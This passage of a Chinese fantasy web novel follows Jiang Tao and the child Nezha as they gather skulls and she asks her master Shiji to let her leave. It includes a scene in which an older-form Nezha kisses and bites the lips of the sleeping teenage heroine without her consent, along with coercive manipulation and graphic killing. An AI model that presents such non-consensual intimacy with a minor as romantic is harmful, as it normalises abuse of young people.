“哼,有了这些法宝,什么都不学我也能保护你。”哪吒从深沉中昂起脑袋,自信满满道。
“呃,我不是这个意思——”姜桃尴尬地咧咧嘴,回过头在早已光秃秃的竹签上又咬了一口。
“阿桃,你以后想住在哪里,我去和娘亲说。要不你干脆就住在我房间吧,那样我们既可以一起玩,还可以一起睡觉。”哪吒忽然凑过来,兴致勃勃建议起来。
“哪吒,我是女孩子,你是男孩子,我们不能在一个房间睡的。”
姜桃耳朵尖泛起一抹桃红,按说一个十一二岁的孩子倒不至于让她如此,可他的眼神炽烈得根本不像个孩子,周身散发的气场也是成人难以匹及的强势,更重要的是,他长得实在太漂亮了。
若说先前他的漂亮还是娃娃式的精美,此时则有种介于孩童与少年之间的勃发的俊美,无论从哪里看,都不适合同屋而眠。
“谁说女孩子就不能和男孩子一起睡觉了,爹和娘亲就睡在一起。”哪吒不大高兴了,一侧嘴角往下一垂,脚丫将一根树枝碾成两段。
姜桃满头黑线,嘴巴动了动,决定还是先什么都别说。
他看着是长大了,思维也等比例成长了,可有些常识好像还停止在娃娃时期,这大约和他不怎么与外人接触有关。
“回去再说吧,哪吒,我有点困了,先去睡觉喽。我睡里面,外面留给你,地方很大哦,还有被子呢。”姜桃温和地说道,起身拍拍衣服上的灰,转身朝后方硕大的帐篷走去。
让太乙真人疗伤后,法力好像雄厚了不少,要是搁以前,她可变不出这么大一帐篷。
哪吒没有回应,还负气似的盘腿坐着,两只小揪揪也显得气鼓鼓的。
姜桃咬咬牙,还是钻进了帐篷,躺在最里头自己的那一亩三分地。
她好像惹他不悦了,可她又能怎么办呢,总不能真的为了迎合他,答应跟他睡一个屋子吧。
对了,这种要求就算提出来,李靖也是不会同意的,就连一贯宠爱他的殷夫人怕是也不许,她其实没必要想太多。
只是,哪吒生气的样子让她有些不安,这不安中有担忧,也有害怕。
正裹着被子想着,门口一阵窸窣,接着哪吒就撩开门帘进来,面孔隐匿在黑暗中,看不清表情。
他在门口立了半晌,然后扑通一下盘腿坐在她给他铺好的床位,距离她大约一米远,正对着她,就这么一动不动地坐着。
呃……
他想干嘛?
姜桃不解,抬起眼睛眨了眨,终于在一团昏黑中稍稍看清了他的脸孔。
没有生气的神色,准确地说,没有任何神色。
是方才给那些头骨剔除血肉时的同款表情,姜桃心口跳了几跳,侧着支起身子,轻声道:“哪吒,你怎么不睡呀,是不是嫌被子不够软,我再给你拍拍——”
“我睡不着。”哪吒忽然道,声音情绪莫辨,像是想到了什么又继续道,“阿桃你累了就睡吧,我已经很久没睡过觉了。”
姜桃这才想起他眼睑下方是有团隐隐若现的乌青的,因为面容太过艳丽,那乌青便显得有几分理所当然,让人不会特别注意。
“怎么会这样呢?是太亢奋无法入睡,还是怕做噩梦不肯入睡呢?”姜桃这会儿完全忘记了害怕,只剩下了心疼和担忧。
哪吒摇摇头:“没什么原因,就是睡不着。你睡吧,不必管我,我就这样坐着挺好的。”
又加了一句:“以前每天晚上,我都是这样睡觉的。”
“可哪吒你这样直勾勾看着,我也睡不着啊。”姜桃哭笑不得。
下一秒,哪吒小朋友像一尊雕像般,维持着此
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刻的盘腿姿势直挺挺地躺倒,身子原地打了两转,最后仰面朝天,眼睛变成了直勾勾看着棚顶。
姜桃更加苦笑不得了,只好再次躺下,也仰面朝天,慢慢合上双眼。
一分钟,两分钟,十分钟……
不行,她实在睡不着,倏地又睁开眼睛,扭头朝哪吒的方向看去。
不偏不倚正好撞上了一道沉静的目光。
哪吒不知何时又转过了身,依旧直勾勾地望着她,被她发现也没挪开目光,甚至连被惊扰的微动作都没有。
姜桃叹了口气,莫名泛起一丝母性,努力将他想象成初次见面的鼻嘎模样,朝他招了招手:“过来吧,靠着风口夜里会着凉的,就躺在我旁边吧。”
话音还没完全落地,哪吒就挪蹭过来,蛄蛹了两下找到自认为最佳的距离后,心满意足地闭上了眼睛。
被子被他遗忘到了千里之外,姜桃又叹一口气,把自己的被子分出去一半,给他盖上。
两人只隔着一块键盘的间隔,他的呼吸吹拂到她脸上,暖融融的,仿佛一阵夹带着莲花香气的电暖风。
“果然,是桃子香。”只听他喃喃道了一句,扬起鼻尖在她唇缝间嗅了嗅。
姜桃脸一烫,也不管三七二十一,直接把被子夺回大半,拉过头顶,将脸埋进被窝,不让呼吸溢出去。
也不知过了多久,她开始喘气困难,便拉下被子,而旁边竟传来了哪吒同学均匀平稳的呼吸声。
他睡着了。
这个小骗子——
姜桃气呼呼地使劲瞪他,觉得自己上当受骗了。可他沉静的睡颜又是如此好看,宛如笼罩在暖黄色月光下的睡莲,令人不忍心打扰。
算了,姜桃重新把被子分给他,自己翻了个身,面朝蓬布思考起到底要如何跟石矶娘娘说清这事。
想着想着,也渐渐沉入梦乡。
周围安静了很久,很久,直到午夜接近凌晨的时候,一团金光自帐篷中膨胀散出。
原本沉睡着的哪吒,一点点地伸展、变大,最终变成了一副十七八岁的少年模样,混天绫化作的红衣层层褪去,重新缠绕在他光裸的手臂上,肩膀宽阔,腰身劲瘦,一双淬着幽光的金瞳缓缓张开,慢慢地坐起来。
他头发很长,披垂过肩,五官秾丽,唇线锋利,张开双眸的瞬间面色是冷沉如刀的,整个人呈现出一种慵懒的肃杀之感,但下一秒,看见身旁躺着的少女时,那股肃杀与冷沉倏然消散,换上一副温柔神色。
虽然温柔中还带点怎么也压抑不住的张狂桀骜,但这已经是他能展现出来的最接地气的神情了。
他轻轻勾了下唇,侧过身来,伸出一根手指,在姜桃睡得红扑扑的脸蛋上,挺用力地戳了戳。
少女满是胶原蛋白的鹅蛋脸上,立刻出现了一个可爱的小圆涡。
他又戳了戳,Q弹绵软的感觉令他十分满意。
“小桃子,终于又见面了。”他附身凑到她耳边,唇瓣轻轻咬住她侧在上面的白嫩耳垂,“只是没想到,进度竟这样快,师父想必也大吃一惊吧。”
他薄薄的唇流连在她耳畔,又慢慢下移,攫到她嫣红的唇珠,一口咬住,慢条斯理地碾弄,就像是狡猾的花猫在逗弄爪下的小鱼。
“还有,你和他关系这样要好,我可是会吃醋的。”他呢喃道,声音大半被她因为喘气困难而下意识微微翕张开的唇悉数吞下,“毕竟守着你轮回这么多次的人,可是我哦。”
13.得罪
姜桃醒来的时候,发现嘴巴有点肿了。
是蚊子咬的吗?她摸摸唇瓣,想起昨晚她似乎做了好几个梦,还梦见了“豚豚”。
“豚豚”是她最喜欢的毛绒玩偶,一只棕色的带绿领巾和小帽子的卡皮巴拉,猝死的那天清晨,她还琢磨着给它买一个同伴。
她压下伤感,弓着身子爬出帐篷。
哪吒已经起来了,正在帐子外面烤蘑菇和新打捞上来的鱼,姜桃心虚地走过去,说道:“早上好啊,哪吒。怎么起来的这么早?”
哪吒正板板正正坐着,头发乱蓬蓬的,两只小丸子像融化了一样草率地栽歪在头顶,可小脸上的表情却是认真而专注的,他抬起眼睛,用很成熟的语气回答道:“昨晚难得睡着了,所以便起来了。”
诶,居然真的睡不着觉啊,她还以为那是他“撒娇耍赖”的小手段呢。
仔细一看,眼睑下的黑眼圈确实淡了些。
“阿桃,鱼烤好了,你快来吃吧,吃完我们就去收集剩下的骨头。”哪吒继续成熟着,只是眼中那种翘首以待的小表情出卖了他。
就像是一个孩子好不容易压住急躁,等待某种表扬。
然而期待之下,还埋着一些奇怪的难以发掘的情绪。
姜桃本来想先去洗把脸的,但不忍辜负他期待,便盘腿坐在他身边,捏起一根竹签,轻咬鱼肉。
焦香四溢,鲜嫩可口,除了没有调料,不必现代社会的烧烤差,甚至技术上还更胜一筹呢。
这个孩子,她用眼角余光偷偷瞄他一眼,发现他也在偷偷瞄她,不过与昨晚不同,被她发觉后他嗖地移开目光,假装用木棍拨火,火星都溅到脚丫上也浑然不觉。
只通过昨夜一次实践,就立刻摸索出最佳的烤鱼方法,他真的好聪明,怪不多日后能那般神通广大。
有很多事情,光靠法宝和天生神力是达不成的,还要有一副好头脑。
“好吃,真的好吃极了。哪吒,你真厉害。”姜桃由衷地说道,并不吝啬夸赞。
哪吒脸上小大人般的成熟就要绷不住了,他原地蛄蛹两下,好不容易才维持住神情,只从嘴角流露出窃喜。
“你喜欢就好。”他轻轻咳了一声,也垂眸吃起了烤鱼,身子依旧坐得端端正正。
“以后到了我府上,我天天都可以烤鱼给你吃。”正当姜桃为他深沉的表现感到微妙的诧异时,他忽然霸总上身似的又来了一句。
带给姜桃的感觉,不亚于“我要让所有人知道,这个鱼塘,被你承包了”。
“呃……好,好吧。”姜桃干巴巴笑笑,继续吃鱼,心里却在想这孩子莫非又吃错药了?
忽然她才注意到,所有分给她的鱼,都被贴心地去掉了鱼头。
她本来就有点害怕看见鱼头,总觉得鱼儿死得不瞑目,还被他们一口口吃点很残忍,所以昨晚她都把鱼头放得远远地吃,最后剩下的那些竹签上也都只剩下鱼头和紧连着的一大片部位,想必哪吒注意到了,于是就把所有鱼头都拔掉,让她眼不见为净。
姜桃心里涌过一股暖意,慢慢啃咬着鱼肉,对哪吒的看法一下子又有了许多改变。
她很想再对他说声“谢谢”,可却不知要如何开口,便暗暗记进心里,打算日后再回报给他。
吃完鱼和蘑菇,又喝了些水,他们收摊准备继续行路。
“诶,哪吒,你的裤子怎么了?”姜桃这才注意到华点。
方才哪吒一直坐着,她没看到,这会儿他站起身来,她才看到他的裤子不知为何破破烂烂的,就像是从里面硬生生撑破似的。
哪吒不以为然摇摇头:“我也不知道,早上起来就这样了。”
可能是做梦抽龙筋蹭的吧?姜桃不无幽默地想,没太当回事。
反正就是看着有碍观瞻,并不影响什么,不该露的地方都没露。
“我给你梳梳头发吧。”姜桃指了指自己新梳好的头发,笑道,“你的发髻都散开喽。”
哪吒不知为何有些微的抗拒,好半天才点点头,生硬地靠过来,任由她重新给他绑了两只发髻。
绑的时候倒是挺乖,姜桃早就对他的阴晴不定习以为常了,哼着小曲完全不在意。
最后,作为小小的报复,姜桃偷偷在上面捏了捏。
不过这孩子,头发是不是变长了?
她有点怀疑,但同样没多想,收拾好一切,便一块上路了。
今天天气不错,春意盎然的,哪吒仍然深沉着,毫不留情驱赶着意欲靠近的草食动物,还用石子打中了一只小猴。
“阿桃,你想好要住哪里了吗?”他突然凑近,又开始了先前的话题,态度稳重到令人不安,“你放心,只要我和娘亲说,她都能同意。”
“那个,哪吒,让我再想一想,好不好?”姜桃眼珠转了转,又说道,“我现在还在想怎么说通师父,最好不要麻烦仙长,我们自己解决。”
哪吒闻言“哦”了一声,听不出情绪,继续拿石子打小猴。
见他好歹有事做,不再缠着她,她又开始思考起上面那个艰难的问题。
如何跟师父说呢?
昨晚想到一半睡着了,可今天仍没有新的灵感涌上来。
对了,就往情情爱爱上面靠,修仙之人最忌讳的就是谈恋爱,虽说没有明令禁止,但很多修道之人都对爱情很反感,认为那是阻碍成功的最大障碍,因此若想修成正果,很多人在此之前是不会谈恋爱的。
就说她爱上李靖了,心甘情愿去给他做妾——
这个理由看似逆天,实则很充足。
首先,李靖长得挺俊朗,年纪也才三十六七;其次,他只有一位正妻,以他的身份地位,在这个时代连个小妾都没有不太正常,所以她想给他做妾也能说得通。
只是这个理由一旦被李靖或者太乙真人知道,她以后可没脸继续在他们身边混了。她这个人超级害怕尴尬。
李靖不行的话,那就——
她
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脑中骤然闪现出一个人选。
行,这个似乎行。
不行也得行了,眼看着哪吒又一马当先地捡回来五六块头骨,还差最后一块,他们就可以返回骷髅山了。
她没时间再编出来一个更有说服力的了。
最后一只头骨,是一只化龙失败的蛟,但它还没有死透,苟延残喘地挣扎着。
蛟虽远不及龙,但法力也足够强,姜桃实在想不出附近山峦中哪个妖怪有能力给一条蛟造成如此严重的伤。
但这都不是重点,重点是它还活着,一双眼睛半睁半闭着,虚弱地看着他们,两根长须随着孱弱的呼吸颤抖般地蠕动着。
不管它生前什么样、都干过什么,此时此刻的光景都很让人心疼心酸。
姜桃犹豫了,有些不知所措。
要不再去找找看?她就不信这山中,没有第十三块带角的头骨……
就在她纠结之时,一道红绸似箭飞出,丝滑地缠住蛟龙的脖子,使劲那么一勒,它便连挣扎都没有,吐着舌头栽倒在一侧,长须抖了几抖,便不再抖了。
姜桃下意识捂住嘴巴,不让自己的惶恐暴露出来。
那个会特意为她拔去鱼头的哪吒,又变成了颊上沾血的修罗杀神。也许他拔去鱼头,并不只是为了她,而是单纯觉得很有趣……
这个想法令她打了个哆嗦,哪吒这时转眸看过来,姜桃连忙屏住慌乱,将手中匕首递给他。
“哪吒,拜、拜托你了——”像昨日一样,帮我把头骨斩下来吧。
哪吒却摇摇头,目光幽幽看向她:“阿桃,你不是说要完成你师父给你的惩罚,然后再跟她一刀两断么,这最后一只,就由你自己来吧。”
姜桃打了个哆嗦,完全没料到他会这样说。
“我——”她红唇轻颤,瞳孔微张,半天都没有动作。
“快去吧,阿桃。”他不动声色上前,将她握着匕首的那只手,轻轻推回到她胸口,手并没有移开,而是继续滚热地搭在她骤然冰冷的手腕上,“它刚刚死掉,经脉还是通着的,很好切割哦,再晚一会儿,可就不好切了呢。”
姜桃此刻脑子乱嗡嗡的,好像飞舞着无数只苍蝇,好半晌才从震惊与僵硬中回过神来,低头看了看手中短刀。
这么小的一把刀,要如何切割脖颈至少两三米宽的蛟龙?她不是哪吒,没有那种一挥手就能截断山岳的力量。
可哪吒非但不肯再帮她,还搬出她先前信誓旦旦的言语堵住了她的回头路,她只感觉到头皮发麻,血液冻结,完全想不通他为何忽然这样。
倒也不是毫无征兆,他很多时候流露出“残忍”的一面,只是没想到,这么快就变成了针对她。
“去啊,阿桃,不要让我等太久哦。”他眸色晦涩不明,却含着一股隐隐的笑意。
像是孩童的恶作剧,但更像是某种有意为之的报复。
只是姜桃根本就摸不到头脑,想不明白自己到底在哪里得罪他了。
14.求求我
姜桃很害怕,握着匕首的手指轻轻打颤,她用力咬住唇,脑中浮现那只蛟临死前虚弱抽搐的画面。
“哪、哪吒,我——”话音刚出口,又慢慢吞了回去,她抬起手背抹了抹眼睛,垂着睫毛转过身,脚步发飘地朝着巨蛟陈尸的地方爬去。
哪吒已经帮过她很多了,要是没有他,她这会儿连第二块头骨都搞不定,她不能太得寸进尺,而且哪吒此时的表情与态度,有些摄人,像是要黑化了似的,她不敢冒险再求助于他。
她只能凭借自己的力量硬上了。
她深深吸了一口气,心中反复告诫自己“冷静”、“冷静”,反正它已经死了,而且它那么大的块头,又是肉食动物,谁知道生前有没有吃过人呢。
她努力将蛟龙与“恶”联系到一起,试图减少愧疚感,可越想越觉得惭愧。给它最终一击的是哪吒,但她终究还是同伙,没有她,哪吒也犯不着杀它,它躺在这里,没准就靠着功力慢慢自愈了,可她却杀了它。
她趔趄了好几下,手掌都被划破皮了,才攀爬到巨蛟身旁,哆嗦着蹲在它慢慢僵硬的脖颈旁,伸出匕首,紧咬牙龈落了下去。
匕首一点点割破它厚重的皮,还滚热的鲜血红得触目惊心,一股股渗出来,瞬间浸透了她的鞋袜,她把嘴唇都咬破了皮,却只割破了几层表皮。
蛟的脖颈比她整个人还粗两圈,想要完全割断,以她的力气和勇气,难于上青天。
身后始终笼罩着一道深邃又火热的注视,她知道哪吒一直在定定望着她,可他却什么也没做,就抱着双臂站在那里看她一路跌撞,背影抖颤,好不狼狈。
“对不起,对不起,对不起——”她反复念叨着,手下稍稍加大力度,筋肉被层层切开的感觉顺着匕首传入她心房,令她胃里翻涌起一阵恶心。
有那么一瞬间,她都想转过头,跪在地上求求哪吒,最后再帮她一把好不好——
可她忍住了,一是出于年长者的自尊,二则是他方才的态度,明显是故意“戏弄”她,可这种戏弄她却没法反驳,因为这本来就是她的任务。
“哗啦”随着刀刃深入,巨蛟猛地抽动了一下,吓得她失手甩掉匕首,抱着脑袋蜷缩到一旁。
原来它还没有死透吗?
也不知过了多久,她才敢重新凑过去,小心翼翼探了探它的鼻息。
没有鼻息,应该是死透了,刚刚可能只是神经反射而已。
但她已经攒不起新的勇气,再次握起匕首挥刀向下了。
“阿桃,你快点啊。你看,肉都要变僵硬了。”哪吒不知何时站在了她身后,风火轮的火焰炙烤着她的脊背。
姜桃扭过头去,眼睛都红透了,像只受惊的小兔,她难受地摇了摇头,哀求道:
“哪吒,你再给我点时间,这会儿我实在、实在下不了手——”
哪吒垂着鸦黑的眼眸,沉默地看了她好一会儿,才慢慢开口道:
“阿桃,我们不是好朋友吗,你可以求求我哦。”
姜桃愣住,好半天才反应过来他在说什么。
原来他这番举动,就是想要让她开口求求他吗?
姜桃实在想不明白他为何这样,可她心里的防线已经濒临崩溃了,嘴唇几度张开又闭合,最后细若游丝地溢出声音:“求求你,哪吒,帮帮我……”
哪吒脸上那副让她陌生的神情立刻生出裂痕,他唇角微勾,眉眼重新张扬起来,样子看上去既怪异又得意。
但很好看,就
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像是一株红莲艳丽盛放,带着一股明媚的残忍。
他没有理睬她的匕首,甚至连混天绫都懒得用,徒手就扯下了蛟龙的头。
姜桃连忙别开脸,不去看那血腥凶残的画面。
“阿桃,没有我,你果然不行呢。”他一边剥皮拆骨,一边微笑着说道,目光炫耀般地频频戳向她。
姜桃睫毛上挂满了小小的泪珠,哽咽两声,把脸埋进膝盖,脑子里全是血液撞击耳膜的回音。
所以他搞这么一出,就是为了向她证明他很有用,没有他,她什么都不行吗?
好可怕,小小年纪就这么会pua,这长大了还了得——
可仔细想想,又不完全像是pua。
她还在胡乱想着,他已经带着一身血气降落在她身边,手上抓着一只硕大的,能把他们俩一起装下的头骨。
他把手往前一伸,死气沉沉的龙角冰冷冷地触上她面颊,她一阵索瑟,连忙展开袋子,垂着眼皮一点点将它套进去。
“阿桃,豚豚是谁?”他忽然问道,声音好奇而凛冽,仿佛是裹着火焰的寒风。
“诶?”姜桃狠狠一愣,抱着袋子迷蒙地抬起眼睛。
“你昨晚一直在喊他的名字,还说想他想的不得了,想要一直跟他在一起。他是谁,阿桃?是你最好的朋友吗?”
他专注地盯着她的眼睛质问道,认真中还带着点阴阳怪气。
只是他的眼神,挺凶恶的,仿佛一旦得知豚豚的身份,就要飞过去将它也剥皮抽筋,吊在晾衣杆上杀鸡儆猴。
所以这一切,都是她的梦话引起的吗?他一直表现如此怪异,竟是因为“豚豚”,一只卡皮巴拉玩偶?
姜桃目瞪口呆,半天说不出话来。
15.唯一
“豚豚是我小时候养的一只土拨鼠。”姜桃稍稍改变了一下说法,再结合从师姐那里打探到的原主的身世,“那个时候我所在的村子很穷很偏远,都没有同龄的孩子可以玩,有天我在炉灶旁看见它偷食物吃,便将它养了下来,它是我童年时唯一的玩伴。不过后来它死了,我也被石矶娘娘从妖怪手下救走,至此便一直跟随娘娘身边修行。”
她一口气说道,自己都对自己编故事的能力感到惊叹。
可能是因为除了豚豚不是土拨鼠,也没有死之外,全部都是事实的缘故吧。
哪吒沉默地听着,脸上的酸涩表情慢慢淡去,他垂下睫毛,盯着自己的脚趾看了一会儿,像是在反思着什么,半晌,他猛地抬起脸,身子不易察觉地拧了拧,声音不大地说道:
“阿桃,那以后让我来当你的‘豚豚’吧,我是不会轻易死掉的,这样你就永远也不必担心失去我。我们可以做一辈子‘唯一的朋友’。”
他说得相当认真,相当真诚,堪比电视剧里那些站在神父面前发誓‘无论生死都永远在一起’的新婚夫妇,可正是因为如此,姜桃才不致要如何回应。
从穿越到现在,她走的每一步,都是意料之外的,是随波逐流的。她不知道自己想做什么,也不知道如何规划未来,她只知道自己不想死。
所以她选择混进李府,远离骷髅山,这样既能近距离与哪吒培养点感情,让他不至于想杀她,同时也离开了预言中的殒命地点——或许这样预言就会失效了。
可是在这个计划之中,并没有和哪吒建立深交这一环节,准确点说,她从来没敢奢望过这一点。可此刻,他却认认真真地说想做她唯一的朋友。
不,是彼此唯一的朋友。
这就有些太“强人所难”了。姜桃本来计划的,只是当个讨喜的小跟班,见面三分情,让他以后就算拉开轩辕弓,也不要将箭尖对准她。
至于与他做“彼此唯一的朋友”,不是她这种小虾米小炮灰胆敢奢望的。
而且她也不知道究竟如何与他相处,他的阴晴不定、喜怒无常和雍正同志有一拼了,更重要的是,他还是个思想未完全成熟的孩子,这就导致他的阴晴不定喜怒无常更加难以预料与琢磨,带着种纯真的恐怖,很多时候,挺怕人的。
“哪吒,我——”久久不回应也不是办法,何况哪吒小朋友眼神黑漆漆的,还燃烧着一股冰冷又灼热的火焰,直直望着她,等待她的回答。
“好啊。”姜桃咧了咧嘴角,因唇周肌肉过于僵硬,她动作幅度大了些,显得有些失真,可哪吒却倏然开朗起来,脸上重新腾起明媚的颜色。
怎么有种渣男欺骗纯真少女的既视感呢?姜桃不合时宜冒出这个想法。
“不过哪吒你不必当豚豚,哪吒就是哪吒,是独一无二的,我们可以建立新的关系。”她又小心翼翼补充道,为以后留些余地。
哪吒含混地“嗯”了一声,姜桃这才察觉,他说要当“豚豚”,只是为了引出后面的“唯一”。
他想做她的唯一,也想让她做他的唯一,至于豚豚什么的,知道是只早已死掉的土拨鼠后,他就完全不在意了。
在他执拗又单纯的世界里,大概是真的很缺乏友情吧,所以才会如此执着于她这个没啥用的、阴差阳错介入他世界的小丫头片子。
想到这里,姜桃稍稍安心了一些,笑容也没那么僵硬了,深吸一口气,将头骨彻底塞进袋子里,系好绳带。
日后他会遇到很多同伴,杨戬、黄天化、雷震子,他们才是他真正志同道合、各方面都完美匹配的朋友,等到那个时候,他应该就不会像小孩子抓住唯一一件玩具那样执着于她了吧。
前提是,她得活到那个时候。
如此一想,她又心胸畅快了,脚步也变得轻快起来。
别太把自己当回事,好好顺着他的意思来就行,他让她求他,那她就求,就当是入宫伺候皇帝了。
而且虽然受到些许惊吓,但全程都是他在帮她,没有他,她很可能会老死在这座山中。
她得坚强一点,不要想太多,不然真的活不下去了。师父不在的这两个月中,她闲云野鹤惯了,都忘记这是一个多么残酷的世界了,无论是人类还是妖怪还是修仙得道之人,都时刻处在凶险之中,就连妲己都在为女娲娘娘拼命007呢。
他们顺着来时的路下山,在夜色降临前,来到了骷髅山白骨洞附近。
自从得到她“皮笑肉不笑”的肯定答复后,哪吒一直步履轻快,沿途遇到小猴也没用石头砸了,而是特许它们在她腿上蹭来蹭去,还摆出一副骄傲的神色,仿佛在说“看你们那个不值钱的样子,我才是阿桃最好的朋友,才不稀罕和你们争——”
姜桃叹了一口气,停下脚步,转身严肃地对哪吒道:“哪吒,我要进去找师父了,你可千万别闯进来,除非你听到我快要被打死了。”
哪吒还沉浸在她对“唯一”的许诺上,十分爽快地同意了,双手背在脑后,跳上洞门上方的一块石头,盘腿坐下来,冲她努了努下巴。
这套动作竟被他做出一种潇洒来,以至于姜桃一下子看呆了。
还挺帅的……
她抿抿嘴巴,垂下目光,又深吸了一口气,迈进洞门。
石矶娘娘正在打坐,她都修炼几千年了,却还无法修成正果,为此她经常情绪不佳,动不动就下达惩罚,姜桃每走一步都胆战心惊的,但一想到哪吒在外面,就又胆肥起来,仿佛没什么再能伤害到她。
这可怕的安全感,明明前一秒还疑似黑化,吓得她直掉眼泪,眼眶红红的像只兔子……
“师父,我完成任务了。”姜桃走到石矶打坐的台子前,将袋子解开,把里面十二只头骨一个接一个地倒出来。
石矶娘娘缓缓睁开眼睛,看似淡定的情绪里浮动着难以置信,她眯起眼睛看那些头骨,似乎在甄别是不是真的。
但她并没有主动发问,而是用紫色的目光静静看着她,等她开口。
虽说娘娘是修道之人,可身上的
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妖气很重,姜桃不知道她之前吃没吃过人,但近千百年来肯定没有,因为吃人虽然能够让妖力短时间内猛增,却也因此导致难以修成正果,这与她的终极追求背道而驰。
可她这么重的妖气,是哪里来的呢?
“师父,徒儿完成您交代的任务了。”姜桃声线微颤地说道,“徒儿还有个请求,希望师父成全。”
“说。”清冷又严厉的声。
姜桃咽了咽口水,跪下来,磕了一个头道:“师父,我不想修道了,我想下山,到人世间去谋生。”
头顶上传来一阵冰冷的审视,石矶娘娘许久才开口道:“为何?”
“此番惩罚让我认清了自己,我还是不适合修道,或许一辈子都无法再进一步,与其这样还不如下山。师父您另找一个像师姐那样有天赋的徒儿吧,碧云实在是能力有限,呆在您身边时刻感到自卑,害怕污了您的名声。”
虽然师父从妖怪手中救过原主,但从她对师姐的偏爱,和对自己毫不留情的残酷处罚上来看,她也并不是什么“良师”。
这样也好,至少让她没什么负罪感。她这个人就是太容易有道德负担。
石矶发出一声嗤笑,垂眸睨着她道:“你以为下山就能混的风生水起吗?你这样的丫头,除了姿色不错,还有何谋生手段?驱妖人家都嫌你蠢笨。”
姜桃听得耳朵通红,忽然来了点脾气,昂起下巴迎着她的注视,狐假虎威地说道:“我已经寻好了归宿,这个就不劳烦师父操心了。”
“哦?是何处啊?”石矶似乎根本就不信,清冷的表情逐渐被戏谑取代。
果然不是个清心寡欲的仙姑,一旦被情绪浸染,立刻就妖里妖气起来。
“在陈塘关。”姜桃挺起腰板,硬气道,“李靖李总兵府上。”
石矶露出明显的惊讶神色,她蹙眉看她许久,她也努力不挪开视线,长久地与她对视。
“你——是怎么和李靖勾搭上的?”石矶单薄的嘴唇压成一道锋利的直线,很像是电视剧里的吸血鬼,骤然间阴气森森的。
“我,我——”姜桃有点回答不上来,不过下一秒,石矶倒是为她解了围。
“莫不是你想去做他的小妾?”她冷笑一声,“你也就只能干这个了。”
洞口上方,传来石头被骤然捏碎的声音。
糟了,让哪吒听见了,姜桃陡然心虚,连忙抻着脖子否认道:“不,不是,我没有,我只是,只是——”
“只是什么?”石矶阴沉地逼问道。
姜桃心一横,把先前想好的那个理由吐了出来:“我只是对李家大公子一见钟情,想要永远侍奉在他身边。”
此话一出,四周陷入一阵庞大的沉默,仿佛所有空气都被抽走了。
然后洞口上方,又传来了徒手碎石的响亮的“咔吧”、“咔吧”声,还伴随着泥石流般的轰隆轰隆声——
咋、咋又闹上了呢,她不是都否认了吗?
姜桃心口急跳,暗觉不妙。
16.回府
当初趴在树上偷窥的时候,姜桃就注意到了李府大公子金吒。
他清俊儒雅,星目剑眉,一袭镶金边的白色袍服更衬得他身姿挺拔,皎皎如玉树,令她不由得心跳快了几拍。
但也仅此而已,属于是女性看见俊美男性下意识的本能反应,很快她的注意力便又在小哪吒身上了。
此番将他搬出来,是因为他是她能找到的最合适人选了。
外貌出众,师父牛掰,自身能力也很突出,最重要的是年龄合适,十七八岁,很适合被姜桃这种十五六岁的小姑娘暗恋,谁也挑不出毛病。
可外面的哪吒为啥还发起脾气了?明明她已经很努力在与他套近乎了,连暗恋他兄长这种话都大言不惭地说出来了,任谁都看得出她是在一心往他家里靠,如此诚心,竟然还不够吗?
幸好没说要给李靖做小妾,不然这会骷髅山都得被踏平了。
不过闹腾归闹腾,他终究遵守了约定,没有闯进来,只在外面制造出“泥石流”。
山体滑坡不算罕见,石矶娘娘没有当回事,而是眯缝着眼睛打量她,脸上的震惊逐渐被荒唐取代。
“碧云,你可知金吒是何人?他是阐教玉虚门人,是文殊广法天尊的首席弟子,他与你是不会有任何交集的。”
娘娘的语气里意外地没有讥讽与戏谑,反而心平气和了起来,仿佛认为这是一件荒谬至极的事,她以它为理由想要下山根本站不住脚。
“我知道,但我并不在意,只要能到他生活的地方住下来,哪怕是当下人我也心甘情愿。只要每年能见到他一两次,我此生也就知足了。”姜桃忽闪着小鹿眼,模仿着苦情剧里恋爱脑上头的女猪脚,煽情地诉说道。
说得越荒唐越好,只要不让娘娘联想到她想偷换师门就行。
在这个时代,换师父的事情很少发生,就算是同门也极少,更别提她这是从截教跳到阐教,任谁都不会答应,所以她只能把理由锁定在情情爱爱上。
反正她也不是真要换师父,而是避免石矶娘娘联想到这一点。
不过她有点想多了,大约是原主本身能力实在不咋地,娘娘根本就没有往那方面联想,只是以为她脑子抽了,莫名其妙就鬼迷心窍了。
“ 笑话,你再不济也是我的徒弟,凭空去给人家当下人,你不要脸我还要脸呢,不行。”
石矶冷冷地回绝道,闭上眼睛继续打坐,连精力都不愿意再分给她丝毫。
姜桃面色尴尬地跪在地上,觉得自己把一切想得太简单了。这个理由不足以说服娘娘,还被她好一阵挖苦,难道她真的必须请太乙真人出面解决吗?
她紧张地朝洞口望了望,没有见到哪吒的身影,而且外面的“泥石流”不知何时早已停下,四周都浸泡在死寂中,针落可闻。
“娘娘,我——”她还想尝试一下。
“出去。”石矶娘娘眼睛都没有睁开,声音透着不耐烦,“你若是再提及此事,我就日日罚你去捡尸骨——”
话音突地戛然而止,娘娘猛睁开眼睛,像是才意识到某件重要事情般,紧紧盯住她,开口质问道:“这些骨头,是谁帮你拾捡的?”
她目光一一扫过那些骨头,最后在那块蛟龙头骨上停顿了很长时间。
姜桃正在犹豫要不要唤来太乙真人,被她忽然这么一问,有点懵住了,呆愣了好一会儿,也编不出一个合适的谎言。
“是我!”一道身影闪进洞中,是哪吒。
混天绫缠在手臂和腰间,乾坤圈挂在颈间,跃动着金色的火光。
就是脸色有点阴郁,一副脾气不好还不大高兴的样子
“女魔头,你赶快放她自由,否则我就砸烂你这个破山洞。”
气势蛮惊人,但石矶娘娘到底也是修炼千年之人,并不为所动,而是语带讥讽道:“谁家的小娃娃,好大的口气。”
姜桃后颈的汗毛一根一根竖了起来,她动动嘴唇,身体本能地朝哪吒的方向蠕动了一下。
虽说叮嘱过他不能进来,但此刻却要感谢他没有遵守约定,不然她真不知道要如何继续下去。
此时此刻,唯有破罐子破摔才能解决问题了。
“哪吒,别冲动,我再求求师父。”姜桃扭头望着他,一边说一边挤挤眼睛,示意他用三味真火召唤太乙真人。
然而哪吒同学并不打算这么做,他扯住混天绫,似乎真的准备大闹一场。
“哪吒,不许胡闹。”姜桃急了,也忘记了害怕,眉眼挤成一团严厉警告道。
虽然她的愤怒就像小猫发脾气,但混天绫还是停止了舞动,哪吒心有不甘地冲她撇了下嘴角,摸出那枚树叶,板着脸烧起来。
火焰刚刚蚕食边缘,太乙真人就从一团紫色光团中现身。
石矶娘娘终于面露惊讶,看了看太乙,又看了看哪吒,最后又给了她一眼。
“碧云,你与哪吒先出去,我和你师父谈谈。”太乙真人慈祥地说道。
